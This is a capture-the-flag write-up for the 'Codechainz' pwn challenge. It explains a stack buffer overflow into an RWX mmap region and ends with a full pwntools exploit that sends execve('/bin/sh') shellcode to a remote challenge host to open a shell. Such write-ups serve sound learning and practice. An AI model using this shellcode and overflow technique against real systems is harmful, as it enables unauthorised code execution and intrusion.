Tags: shellcode nx mmap
Rating:
# Codechainz
```Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```
-----
```
Hey, this is an epic memory saver. #saved
Because of COVID-19 restrictions,
we can only do memory saving of programming languages.
We apologize for the inconvenience.
Preparing the memory space...
Memory space is ready for storing data.
DISCLAIMER: All your memories will be saved at 0x7efcd9390000.
Here are your options. Choose one:
1 Make a new memory
2 View a memory
3 Delete a memory
4 Exit
>
```
The first thing we can notice is that we have a leak of the stack address\
=> We can jump in that location if we have a BOF\
=> But the NX is enabled, so we can't execute a shellcode in the stack
So, decompile it in Ghidra:
=> We can notice there is a function named `init_memory`, at address `PIE BASE + 0x000011e5`, that essentially `mmap` the `memory_space` to `RWX`.
```c
void init_memory(void)
{
int *piVar1;
memory_space = mmap((void *)0x0,0x1e,7,0x22,-1,0);
if (memory_space == (void *)0xffffffffffffffff) {
perror("mmap");
fflush(stdout);
piVar1 = __errno_location();
/* WARNING: Subroutine does not return */
exit(*piVar1);
}
return;
}
```
=> NX mitigation is useless at this point\
=> We have only to find a buffer overflow to overwrite the return address and jump into a shellcode
When we add a new memory the function `input_str` is called:
```
void input_str(void)
{
char vulnerable_buffer [44];
int i;
memset(vulnerable_buffer,0,0x1e);
puts("Please input a programming language of your desire. I swear i will remember it.");
printf("> ");
fflush(stdout);
fgets(vulnerable_buffer,100,stdin);
for (i = 0; i < 0x1e; i = i + 1) {
memory_space[i] = vulnerable_buffer[i];
}
fflush(stdin);
return;
}
```
This function fgets 100 bytes into a buffer of 44 bytes\
=> We have a BOF\
=> We can use the leak given by the program to gain a shell.
```python
from pwn import *
exe = ELF("codechainz")
context.binary = exe
context.terminal = ["gnome-terminal", "-e"]
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r)
else:
r = remote("51.124.222.205", 13370)
return r
def main():
r = conn()
r.recvuntil("saved at")
address = int(r.recvline(keepends=False)[3:-1], 16)
payload = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05".ljust(56, b"\x90") + p64(address)
r.sendline("1")
r.recvuntil("remember it.")
r.sendlineafter("> ", payload)
r.interactive()
if __name__ == "__main__":
main()
```